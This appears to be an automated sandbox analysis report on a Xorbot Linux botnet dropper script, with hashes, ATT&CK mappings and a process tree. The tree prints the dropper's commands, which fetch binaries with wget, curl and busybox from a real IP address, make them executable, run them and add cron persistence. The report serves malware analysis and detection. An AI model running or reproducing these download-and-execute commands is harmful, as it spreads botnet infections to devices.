xorbot | e19c203e6db00e788c2da37cc4f226dcf41dc2e1c50486cbe0459d46badb5423

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/01/2025, 02:37

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General

Target
bins.sh
Size 10KB
Sample250128-c35yrsvmal
SHA256 e19c203e6db00e788c2da37cc4f226dcf41dc2e1c50486cbe0459d46badb5423
MD5 83dd42f7929b2d1c8d8f95b0093ab654
SHA1 f8fa1a87c56730167e137a26e3458900eabf4e1e
SHA512 d5216f2aa707d12ee2eadd4c325a2a84647ba05421c50b97102f257ef9e41707be6852040a76ca4a21aff22d576887e8bc46bedca499d747cdafda8620415c9e
SSDEEP 192:JeglAq/bGrq2qCquqVqlqUsg8MDrrOC9MMoBJrMMoBFg8MDrjrCQ/bWq2qCquqV5:1lAq/bGbrOCQVr/b3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1519	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	1520	bins.sh

Renames itself 1 IoCs

pid	Process
1521	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.FARtCU	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/677/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1580/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1535/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1548/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/175/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/699/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1161/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1600/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1625/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/9/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/444/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1260/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1622/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/506/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1023/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1574/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1621/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/183/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/417/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1235/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1549/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1557/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1592/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/174/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/181/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1066/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1004/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1560/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1615/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1154/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1577/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/35/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/655/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1152/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1587/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/182/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1556/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1565/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1567/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1597/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/31/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/170/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1070/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1234/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1530/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1018/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/560/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1176/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1361/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1537/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/29/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/433/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/491/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/184/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1195/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1619/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/215/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1080/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/81/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/115/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1001/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/1618/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/18/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
File opened for reading	/proc/186/cmdline	KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	wget
File opened for modification	/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	curl
File opened for modification	/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:1509
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - Writes file to tmp directory
  PID:1511
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod 777 KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  ./KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:1520
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1522
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1523
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1524
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1525
- /bin/rm
  rm KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://94.154.35.94/bins/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  2⤵
  PID:1530

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc

Path /tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

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tmp.FARtCU

Path /var/spool/cron/crontabs/tmp.FARtCU
Size 210B
SHA256 826bcbbbabe8530e9e67b86ca350e4ac5c213c1d4d7d7bdcf2f487b4d6b600a9
MD5 d2392ea6ea224283592080c954d29bde
SHA1 fca99261f5c3f2af8a01157a6f95c62279e4873b
SHA512 7e3b40438c980bde5a7f0ca20ffd6f007dd21c44fffe1b24d5deff99e82f55255aa050f9d18db4ebd5126b243884000bbd49d2cb9c05fe7d92026ace0696bb65
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads